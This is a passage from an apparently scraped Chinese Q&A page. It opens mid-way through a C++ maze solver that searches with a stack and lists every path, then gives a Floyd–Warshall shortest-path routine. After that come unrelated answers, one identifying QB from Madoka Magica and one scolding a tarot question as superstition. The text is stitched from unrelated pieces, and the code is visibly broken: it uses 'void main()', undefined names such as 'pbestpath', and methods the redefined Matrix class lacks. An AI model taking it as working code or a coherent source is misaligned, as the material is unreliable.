for (j=0;j<c+2;j++)
{
if (j==0 || j==c+1 || i==0 || i==r+1)
{
mark(i, j) = maze(i, j) = 1;

}else
{
mark(i, j) = 0;
maze(i, j) = m[((i-1)*col+j-1)];
}
}
}
return iscreate = true;
}

bool Migong::GetPath()
{
mark(1,1) = 1;
item temp;
temp.col = 1;
temp.row = 1;
temp.dir = _S;
stk.push(temp);

while (!stk.empty())
{
temp = stk.top();
stk.pop();

int i = temp.row;
int j = temp.col;
int d = temp.dir;

while (d<4)
{//根據當前點的狀態確定下一個搜索點
int g = i + move[d].a;
int h = j + move[d].b;

if (g==desr && h==desc)
{
return true;
}
//如果這個點不是障礙點且沒有被搜索過那麼可以對這個點進行搜索
if (maze(g, h)==0 && mark(g, h)==0)
{
mark(g, h) = 1;
temp.row = g;
temp.col = h;
temp.dir = d+1;
stk.push(temp);
i = g;
j = h;
d = _S;//對一下個點進行搜索
}
else d++;
}
}
return false;
}

void Migong::Solve()
{
issolved = GetPath();
if (issolved)
{
pathlength = stk.size();
result = new item[pathlength];
for (int i=0;i<pathlength;i++)
{
*(result+i) = stk.top();
stk.pop();
// cout<<"("<<(*(result+i)).row<<","<<(*(result+i)).col<<")"<<endl;
}
}
while (!stk.empty())
stk.pop();
}

void Migong::Release()
{
if (iscreate)
{
maze.Release();
mark.Release();
row=col=0;
if (result)
delete [] result;
result = 0;
while (!stk.empty())
stk.pop();
}
iscreate = false;
issolved = false;
pathlength = 0;
}

void Migong::OutputMaze()
{
if (!iscreate) return;
maze.Show();
}

bool Migong::IsInPath(int r, int c)
{
if (!iscreate || !issolved)
return false;

item temp;
for (int i=0;i<pathlength;i++)
{
temp = *(result+i);
if ((temp.row==r) && (temp.col==c))
return true;
}

return false;
}

void Migong::ShowSolve(char blk='#',char s='o')
{
if (!iscreate) return;
if (!issolved)
{
cout<<"無解"<<endl;
}
else
{
int i, j;
for (i=0;i<row+2;i++)
{
for (j=0;j<col+2;j++)
{
if ((i==1 && j==1) || (i==desr && j==desc))
{
cout<<s;
}
else if (maze(i, j) == 1)
{
cout<<blk;
}else
{
if (IsInPath(i, j))
cout<<s;
else
cout<<' ';
}
}
cout<<endl;
}
}
}

//////////////////////
//////窮舉所有路徑////
//////////////////////
offsets move[4]={ {1, 0}, {0, 1},
{-1, 0}, {0, -1}};

struct node
{
int row,col;
};

vector<node> path;
int count;
bool IsReachable( Matrix& maze, Matrix& mark, node beg, node des)
{
if (beg.row==des.row&&beg.col==des.col)
{//如果達到的話那麼顯示路徑
count++;
cout<<"第"<<count<<"條路徑:"<<endl;
for (int i=0;i<path.size();i++)
cout<<"("<<path[i].row<<","<<path[i].col<<")";
cout<<"("<<des.row<<","<<des.col<<")";
cout<<endl;
return false;
}
if (maze(beg.row, beg.col)==1 || mark(beg.row, beg.col)==1)
{
return false;
}

path.push_back(beg);
mark(beg.row, beg.col) = 1;

node nextnode;

for (int i=_S;i<_W+1;i++)
{
nextnode.row = beg.row + move[i].a;
nextnode.col = beg.col + move[i].b;

IsReachable(maze, mark, nextnode, des);
}

path.resize(path.size()-1);
mark(beg.row, beg.col) = 0;

return false;//如果不是窮舉的話應該根據for循環的結果重新設置返回值
}

/*
參數maze,mark為迷宮長寬均加二的矩陣
desr,desc為出口點
*/
void FindAllPath( Matrix& maze, Matrix& mark, int desr, int desc)
{
node first, last;
first.row = 1;
first.col = 1;
last.row = desr;
last.col = desc;

IsReachable(maze, mark, first, last);

path.clear();
}

/*
m迷宮矩陣數據
r,c行和列的大小
desr,desc目標位置
*/
void ShowAllPath(int* m, int r, int c, int desr=-1, int desc=-1)
{
Matrix maze, mark;
maze.Create(r+2, c+2);
mark.Create(r+2, c+2);

if (desr==-1 || desc==-1)
{
desr = r;
desc = c;
}

int i, j;

for (i=0;i<r+2;i++)
{
for (j=0;j<c+2;j++)
{
if (j==0 || j==c+1 || i==0 || i==r+1)
{
mark(i, j) = maze(i, j) = 1;

}else{
mark(i, j) = 0;
maze(i, j) = m[((i-1)*c+j-1)];
}
}
}

count = 0;
FindAllPath(maze, mark, desr, desc);

maze.Release();
mark.Release();
}
#endif
//main.cpp
#include <iostream>
#include "Migong.h"
using namespace std;

int mg[]={
0,0,1,0,0,0,1,0,//1
0,0,1,0,0,0,1,0,//2
0,0,0,0,1,1,0,1,//3
0,1,1,1,0,0,1,0,//4
0,0,0,1,0,0,0,0,//5
0,1,0,0,0,0,0,1,//6
0,1,1,1,1,0,0,1,//7
1,1,0,0,0,1,0,1,//8
1,1,0,0,0,0,0,0,//9
};

void main()
{
Migong m;
m.Create(mg, 9, 8);
m.OutputMaze();
m.Solve();
m.ShowSolve();

ShowAllPath(mg,9,8,9,8);
}
2.任意兩點的最短路
class Matrix
{
bool IsCreated;
int* data;
int row;
int col;
public:
Matrix(){IsCreated = false;row = 0; col = 0; data = 0;};
~Matrix(){if (data!=0) delete [] data;};
bool Create(int r, int c, int n);
int& operator () (int r, int c);
};

bool Matrix::Create(int r, int c, int n = 0)
{
if ( IsCreated)
return false;

if ( (row = r) <=0 || (col = c) <=0)
return false;

data = new int[row*col];
int i,j;
for (i=0;i<row;i++)
for (j=0;j<col;j++)
data[i*col+j] = n;

IsCreated = true;
return true;
}

int& Matrix::operator()(int r, int c)
{
return data[r*col+c];
}
jingdian//Matrix類,存儲點
dist//Matrix類,存儲任意兩點間的距離
MAX_DIST//一個大數,大於任意兩點間的距離,當兩點間沒有路的時候設為它
bestdist//Matrix類,存儲任意兩點的最近距離
bestpath//Matrix類,i到j的最短路為i.......bestpath(i,bestpath(i,pbestpath(i,j))), bestpath(i,pbestpath(i,j)), j bestpath(i,j)表示i到j的最短路中j的前一個結點號
void GetBestPath()
{

int n = jingdian.size();
int i, j, k;

bestdist.Create(n, n);
bestpath.Create(n, n);

for (i=0;i<n;i++)
for (j=0;j<n;j++)
{
if ( (bestdist(i,j) = dist(i,j)) == -1)
bestdist(i,j) = MAX_DIST;
if ( i!=j && bestdist(i,j)<MAX_DIST )
bestpath(i,j) = i;
else
bestpath(i,j) = -1;
}

for (k=0;k<n;k++)
for (i=0;i<n;i++)
for (j=0;j<n;j++)
if (bestdist(i,k)+bestdist(k,j) < bestdist(i,j))
{
bestdist(i,j) = bestdist(i,k)+bestdist(k,j);
bestpath(i,j) = bestpath(k,j);
}
}

9. QB是什麼具體

《魔法少女小圓》里的推銷員，讓妹紙們變成魔法少女的

10. 塔羅牌：寶劍王後，情侶關系，他是不是煩我了

您好。
別一天到晚搞封建迷信，本來就不存在的東西，如果真存在，別人不會告訴你的，能看破這個東西，相當於知道未來，別人為什麼要告訴你？自己不發財了，還需要幫別人算命？真有用，你們家這為什麼幾代人還沒發財？
封建迷信，四字漢語詞彙，意思是指民間臆想出來的信仰與思想，如相信神仙鬼怪等的虛構設定，或盲目地信仰和崇拜傾向於某種人物或邪門說法。
迷信不破除，社會難以健康發展。社會上或民間，有人以「算命」為標榜，推出計算機算命、特異功能預測等，動物算命，利用現代聲、光、電等設備，製造種種神秘效果，欺騙愚弄群眾。所有這些，是由於科學技術的迅猛發展對人類社會的影響愈來愈大，那些搞迷信和偽科學的人便拉起「科學」的大旗以售其奸。不擇手段地騙取錢財。還有一些地方以發展旅遊，民俗文化，興建各式各樣的鬼府佛堂、廟宇祠堂。許多農民群眾由於文化水平較低，對宗教缺乏正確認識，逢廟必燒香，遇神佛必叩拜。在有的農村，封建迷信活動沉渣泛起、日趨嚴重，正嚴重影響著人們的思想和行為。
希望能夠幫到您，謝謝，望採納。